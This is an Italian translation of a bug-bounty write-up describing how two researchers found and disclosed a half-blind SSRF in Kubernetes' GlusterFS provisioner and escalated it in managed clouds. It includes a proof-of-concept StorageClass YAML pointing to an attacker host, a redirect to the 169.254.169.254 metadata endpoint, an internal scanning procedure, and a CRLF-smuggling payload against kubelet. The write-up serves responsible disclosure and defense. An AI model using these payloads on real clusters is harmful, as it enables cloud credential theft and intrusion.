Nota di traduzione.: gli autori di questo articolo raccontano in dettaglio come sono riusciti a scoprire una vulnerabilità in Kubernetes. Anche se inizialmente non sembrava molto pericolosa, in combinazione con altri fattori la sua criticità si è rivelata massima per alcuni fornitori di servizi cloud. Gli specialisti sono stati generosamente ricompensati da diverse organizzazioni per il lavoro svolto.

Chi siamo
Siamo due ricercatori francesi nel campo della sicurezza, che hanno scoperto insieme una vulnerabilità in Kubernetes. Ci chiamiamo Brice Augras e Christophe Hauquiert, ma su molte piattaforme di Bug Bounty siamo conosciuti come Reeverzax e Hach rispettivamente:
- — ;
- — architetto di Kubernetes in Nokia.
Cosa è successo?
Questo articolo è il nostro modo di raccontare come un progetto di ricerca ordinario si sia improvvisamente trasformato nella più entusiasmante avventura della vita degli cacciatori di bug (almeno fino ad ora).
Come sapete, gli cacciatori di bug hanno un paio di caratteristiche notevoli:
- vivono di pizze e birra;
- lavorano quando gli altri dormono.
Noi non facciamo eccezione a queste regole: di solito ci incontriamo nei fine settimana e trascorriamo notti insonni da hacker. Ma una di quelle notti è finita in modo piuttosto inusuale.
Inizialmente avevamo intenzione di incontrarci per discutere la partecipazione a il giorno successivo. Durante una conversazione sulla sicurezza di Kubernetes in un ambiente di servizio gestito, ci siamo ricordati di una vecchia idea di SSRF () e abbiamo deciso di provare a usarla come scenario di attacco.
A mezzanotte ci siamo messi a ricercare e siamo andati a letto di prima mattina, piuttosto soddisfatti dei risultati. È stato grazie a queste ricerche che ci siamo imbattuti nel programma MSRC Bug Bounty e abbiamo ideato un exploit di escalation dei privilegi.
Passarono settimane/mesi e il nostro risultato inaspettato ci ha permesso di ottenere uno dei riconoscimenti più alti nella storia del Bug Bounty di Azure Cloud — oltre a quello che abbiamo ricevuto da Kubernetes!
Ispirato al nostro progetto di ricerca, il comitato Kubernetes Product Security Committee ha pubblicato .
Ora vorremmo diffondere il più possibile informazioni sulla vulnerabilità trovata. Speriamo che apprezziate la scoperta e condividiate i dettagli tecnici con altri membri della comunità infosec!
Quindi, ecco la nostra storia…
Contesto
Per trasmettere al meglio il significato di quanto accaduto, iniziamo esaminando come funziona Kubernetes in un ambiente cloud gestito.
Quando crei un'istanza del cluster Kubernetes in un tale ambiente, il lavoro del livello di controllo è solitamente gestito dal fornitore di servizi cloud:

Il livello di controllo si trova nel perimetro del fornitore cloud, mentre i nodi Kubernetes sono nel perimetro del cliente.
Per la fornitura dinamica dei volumi viene utilizzato un meccanismo di provisioning dinamico da un backend di storage esterno e associo a PVC (persistent volume claim, cioè richiesta di volume).
Quindi, dopo che il PVC è stato creato e associato a un StorageClass nel cluster K8s, le ulteriori operazioni per la fornitura del volume sono gestite da kube/cloud controller manager (il suo nome esatto dipende dalla release). (Nota di traduzione.: Abbiamo già scritto di più sul CCM come esempi della sua implementazione per uno dei fornitori di servizi cloud. .)
Esistono diverse varietà di provisioner supportati da Kubernetes: la maggior parte di essi è inclusa nel , mentre altri sono gestiti da provisioner aggiuntivi che sono ospitati in pod nel cluster.
Nella nostra ricerca ci siamo concentrati sul meccanismo interno di fornitura dei volumi, illustrato di seguito:

Fornitura dinamica di volumi utilizzando il provisioner integrato di Kubernetes.
In sintesi, quando Kubernetes è distribuito in un ambiente gestito, il fornitore di servizi cloud è responsabile del funzionamento del controller manager, ma la richiesta di creazione del volume (numero 3 nello schema sopra) esce dai confini della rete interna del fornitore di cloud. Ed è qui che la situazione diventa davvero interessante!
Scenario di attacco
In questa sezione parleremo di come abbiamo utilizzato il flusso di lavoro menzionato sopra per accedere alle risorse interne del fornitore di servizi cloud. Inoltre, verrà dimostrato come sia possibile effettuare determinate azioni, come ottenere credenziali interne o eseguire un'escursione di privilegi.
Una semplice manipolazione (in questo caso si tratta di Service Side Request Forgery) ha aiutato a oltrepassare i confini dell'ambiente del cliente nei cluster di vari fornitori di servizi di K8s gestito.
Nelle nostre ricerche ci siamo concentrati sul provisioner GlusterFS. Sebbene la sequenza di ulteriori azioni sia descritta in questo contesto, la stessa vulnerabilità colpisce anche Quobyte, StorageOS e ScaleIO.

Abuso del meccanismo di provisioning dinamico dei volumi
Durante l'analisi della classe di storage GlusterFS nei codici sorgente del client in Golang abbiamo , che alla prima richiesta HTTP (3), inviata durante la creazione del volume, al termine dell'URL dell'utente nel parametro resturl la stessa informazione che al container normale. /volumes.
Per eliminare questo percorso aggiuntivo abbiamo deciso di aggiungere # al parametro resturl. Ecco la prima configurazione YAML che abbiamo utilizzato per verificare la vulnerabilità SSRF "semi-blind" (puoi leggere di più su semi-blind o half-blind SSRF per esempio, — nota del traduttore.):
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: poc-ssrf
spec:
accessModes:
- ReadWriteOnce
volumeMode: Filesystem
resources:
requests:
storage: 8Gi
storageClassName: poc-ssrfSuccessivamente, per la gestione remota del cluster Kubernetes, abbiamo utilizzato il binario kubectl. Di solito, i provider cloud (Azure, Google, AWS, ecc.) consentono di ottenere le credenziali per l'utilizzo di questo strumento.
Grazie a ciò siamo riusciti ad applicare il nostro file "speciale". Il kube-controller-manager ha eseguito la richiesta HTTP risultante:
kubectl create -f sc-poc.yaml 
Risposta dal punto di vista dell'attaccante
Poco dopo, siamo riusciti a ottenere una risposta HTTP dal server destinatario — tramite i comandi describe pvc o get events in kubectl. E in effetti: questo driver Kubernetes è troppo verboso nelle sue avvertenze/messaggi di errore di default...
Ecco un esempio con un link a https://www.google.fr, impostato come parametro resturl:
kubectl describe pvc poc-ssrf
# oppure puoi usare kubectl get events 
In questo approccio siamo stati limitati a richieste di tipo HTTP POST e non siamo riusciti a ottenere il contenuto del corpo della risposta se il codice restituito era 201. Pertanto, abbiamo deciso di condurre ulteriori ricerche ed espandere questo scenario di attacco con nuovi approcci.
Evoluzione delle nostre ricerche
- Scenario avanzato n. 1: utilizzo del reindirizzamento 302 da un server esterno per cambiare il metodo HTTP, al fine di ottenere un modo più flessibile per raccogliere dati interni.
- Scenario avanzato n. 2: automazione della scansione della LAN e scoperta di risorse interne.
- Scenari avanzato n. 3: utilizzo di HTTP CRLF + smuggling (richieste «di contrabbando») per creare richieste HTTP personalizzate e ottenere dati estratti dai log del kube-controller.
Specifiche tecniche
- Negli studi è stato utilizzato Azure Kubernetes Service (AKS) con Kubernetes versione 1.12 nella regione Eurosettentrionale.
- Gli scenari sopra descritti sono stati eseguiti con le ultime versioni di Kubernetes, ad eccezione del terzo scenario, poiché richiedeva Kubernetes compilato con Golang versione ≤ 1.12.
- Server esterno dell'attaccante —
https://attacker.com.
Scenari avanzato n. 1: reindirizzamento della richiesta HTTP POST in GET e ottenimento di dati riservati
Il metodo iniziale è stato migliorato dalla configurazione del server dell'attaccante per restituire 302 HTTP Retcode, per convertire la richiesta POST in richiesta GET (passo 4 nello schema):

La prima richiesta (3), inviata dal cliente GlusterFS (Controller Manager), è di tipo POST. Completando i seguenti passaggi, siamo riusciti a trasformarla in GET:
- Come parametro
resturlnello StorageClass è specificatohttp://attacker.com/redirect.php. - L'Endpoint
https://attacker.com/redirect.phprisponde con codice di stato 302 HTTP con il seguente Location Header:http://169.254.169.254. Può essere qualsiasi altro risorsa interna — in questo caso, il link di reindirizzamento è utilizzato esclusivamente come esempio. - Per impostazione predefinita libreria net/http Golang reindirizza la richiesta e converte POST in GET con codice di stato 302, il che porta a una richiesta HTTP GET al resource target.
Per leggere il corpo della risposta HTTP, è necessario describe oggetto PVC:
kubectl describe pvc xxxEcco un esempio di risposta HTTP in formato JSON che siamo riusciti a ottenere:

Le possibilità dell'exploit trovato erano limitate a causa dei seguenti aspetti:
- Impossibilità di inserire intestazioni HTTP nella richiesta in uscita.
- Impossibilità di eseguire richieste POST con parametri nel corpo (così è comodo interrogare il valore della chiave nell'istanza di etcd in esecuzione su 2379 porta, se si utilizza HTTP non crittografato).
- Impossibilità di ottenere il contenuto del corpo della risposta quando il codice di stato era 200 e la risposta non aveva content-type JSON.
Scenari avanzato n. 2: scansione della rete locale
Questo metodo di SSRF half-blind è stato poi utilizzato per scansionare la rete interna del fornitore di servizi cloud e interrogare vari servizi in ascolto (istanza Metadata, Kubelet, etcd, ecc.) sulla base delle risposte del kube controller.

Inizialmente sono stati identificati le porte standard in ascolto dei componenti di Kubernetes (8443, 10250, 10251, ecc.), e poi è stato necessario automatizzare il processo di scansione.
Vedendo che questo metodo di scansione delle risorse è molto specifico e non compatibile con scanner classici e strumenti SSRF, abbiamo deciso di creare i nostri worker in uno script bash, che automatizza l'intero processo.
Ad esempio, per scansionare più rapidamente l'intervallo 172.16.0.0/12 della rete interna, venivano avviati 15 worker in parallelo. L'intervallo IP sopra menzionato è stato scelto esclusivamente come esempio e può essere modificato con un intervallo IP specifico del fornitore di servizi.
Per scansionare un singolo indirizzo IP e una singola porta, è necessario fare quanto segue:
- rimuovere lo StorageClass verificato la volta precedente;
- rimuovere la precedente Persistent Volume Claim verificata;
- modificare i valori di IP e Porta in
sc.yaml; - creare uno StorageClass con il nuovo IP e la nuova porta;
- creare un nuovo PVC;
- estrarre i risultati della scansione utilizzando il describe per il PVC.
Script avanzato n. 3: iniezione CRLF + smuggling HTTP nelle 'vecchie' versioni del cluster Kubernetes
Se inoltre il provider offriva ai clienti versioni obsolete del cluster K8s e dando loro accesso ai log di kube-controller-manager, l'effetto diventava ancora più significativo.
Per un attaccante è davvero molto più comodo modificare a proprio piacimento le richieste HTTP destinate a ottenere la risposta HTTP completa.

Per implementare l'ultimo scenario dovevano essere soddisfatte le seguenti condizioni:
- L'utente deve avere accesso ai log di kube-controller-manager (come ad esempio in Azure LogInsights).
- Il cluster Kubernetes deve utilizzare una versione di Golang inferiore alla 1.12.
Abbiamo dispiegato un ambiente locale che simula lo scambio di dati tra il client Go GlusterFS e un server target falso (per ora ci asteniamo dalla pubblicazione del PoC).
È stata scoperta , che influisce sulle versioni di Golang inferiori alla 1.12 e consentiva agli hacker di eseguire attacchi di tipo HTTP smuggling/CRLF.
Unendo il SSRF half-blind descritto sopra insieme con questo, siamo stati in grado di inviare richieste a nostro piacimento, inclusa la sostituzione di intestazioni, metodo HTTP, parametri e dati che poi kube-controller-manager elaborava.
Ecco un esempio di 'esca' funzionante nel parametro resturl dello StorageClass, che implementa uno scenario di attacco simile:
http://172.31.X.1:10255/healthz? HTTP/1.1
Connection: keep-alive
Host: 172.31.X.1:10255
Content-Length: 1
1
GET /pods? HTTP/1.1
Host: 172.31.X.1:10255Di conseguenza si verifica un errore risposta non richiesta, messaggio che viene registrato nei log del controllore. Grazie all'impostazione predefinita di 'verbosity' attivata, viene salvato anche il contenuto del messaggio HTTP di risposta.
![]()
Questa è stata la nostra esca più efficace nel contesto del proof of concept.
Utilizzando questo approccio, siamo riusciti a eseguire alcune delle seguenti attacchi nei cluster di vari fornitori di k8s gestiti: escalation dei privilegi con accesso alle credenziali sui metadata-instance, DoS del master tramite richieste HTTP (non criptate) sui master instance di etcd, e così via.
Conseguenze
Nella dichiarazione ufficiale di Kubernetes riguardo alla vulnerabilità SSRF che abbiamo scoperto, le è stato assegnato un punteggio CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Se consideriamo solo la vulnerabilità legata al perimetro di Kubernetes, il vettore di integrità (integrity vector) viene qualificato come Nessuno.
Tuttavia, la valutazione delle potenziali conseguenze nel contesto di un ambiente di servizio gestito (e questa è stata la parte più interessante della nostra ricerca!) ci ha spinto a ridefinire la vulnerabilità con un punteggio Critico CVSS10/10 per molti distributori.
Di seguito sono riportate ulteriori informazioni che aiutano a comprendere le linee guida che abbiamo seguito per la valutazione delle potenziali conseguenze negli ambienti cloud:
Integrità
- Esecuzione remota di comandi utilizzando le credenziali interne ottenute.
- Riproduzione dello scenario sopra descritto utilizzando il metodo IDOR (Insecure Direct Object Reference, ovvero riferimenti diretti non sicuri agli oggetti) con altre risorse scoperte nella rete locale.
Riservatezza
- Attacco di tipo grazie al furto di credenziali cloud (ad esempio, metadata API).
- Raccolta di informazioni tramite la scansione della rete locale (determinazione della versione SSH, versione del server HTTP, ...).
- Raccolta di informazioni sulle istanze e l'infrastruttura interrogando API interne, come metadata API (
http://169.254.169.254, …). - Furto di dati dei clienti utilizzando credenziali cloud.
Disponibilità
Tutti gli scenari di sfruttamento legati ai vettori di attacco su integrity (integrità), possono essere utilizzati per azioni distruttive e portare a rendere inaccessibili le istanze master dal perimetro del cliente (o qualsiasi altro).
Poiché ci trovavamo in un ambiente controllato K8s e valutavamo l'impatto sull'integrità, si possono immaginare numerosi scenari in grado di influenzare la disponibilità. A titolo di esempio, possiamo citare il danneggiamento del database etcd o l'esecuzione di una chiamata critica all'API di Kubernetes.
Cronologia
- 6 dicembre 2019: invio di una segnalazione riguardante una vulnerabilità scoperta al MSRC Bug Bounty.
- 3 gennaio 2020: una terza parte ha informato gli sviluppatori di Kubernetes che stavamo lavorando a un problema di sicurezza e li ha invitati a considerare SSRF come una vulnerabilità in-core. Successivamente, abbiamo presentato un rapporto generale con dettagli tecnici sulla fonte del problema.
- 15 gennaio 2020: abbiamo fornito agli sviluppatori di Kubernetes rapporti tecnici e generali su loro richiesta (attraverso la piattaforma HackerOne).
- 15 gennaio 2020: gli sviluppatori di Kubernetes ci hanno informato che half-blind SSRF + iniezione CRLF per le versioni precedenti è considerata una vulnerabilità in-core. Abbiamo immediatamente smesso di analizzare i perimetri di altri fornitori di servizi: la causa principale è stata ora gestita dal team K8s.
- 15 gennaio 2020: ricevuta una ricompensa da MSRC attraverso HackerOne.
- 16 gennaio 2020: Kubernetes PSC (Product Security Committee) ha riconosciuto la vulnerabilità e ha chiesto di mantenerla riservata fino a metà marzo a causa del grande numero di potenziali vittime.
- 11 febbraio 2020: ricevuta una ricompensa da Google VRP.
- 4 marzo 2020: ricevuta una ricompensa da Kubernetes attraverso HackerOne.
- 15 marzo 2020: la divulgazione pubblica inizialmente programmata è stata rinviata a causa della situazione COVID-19.
- 1 giugno 2020: dichiarazione congiunta di Kubernetes + Microsoft sulla vulnerabilità.
TL;DR
- Beviamo birra e mangiamo pizza 🙂
- Abbiamo scoperto una vulnerabilità in-core in Kubernetes, anche se non avevamo assolutamente intenzione di farlo.
- Abbiamo effettuato ulteriori analisi nei cluster di vari fornitori di cloud e siamo stati in grado di aumentare il danno causato dalla vulnerabilità per ottenere bonus aggiuntivi davvero eccezionali.
- In questo articolo troverete molti dettagli tecnici. Saremo felici di discuterli con voi (Twitter: & ).
- Si è scoperto che tutte le formalità e la redazione dei rapporti richiedono molto più tempo di quanto previsto.
Link
- ;
- ;
- ;
- .
P.S. dal traduttore
Leggi anche nel nostro blog:
- «»;
- «»;
- «».
Fonte: habr.com
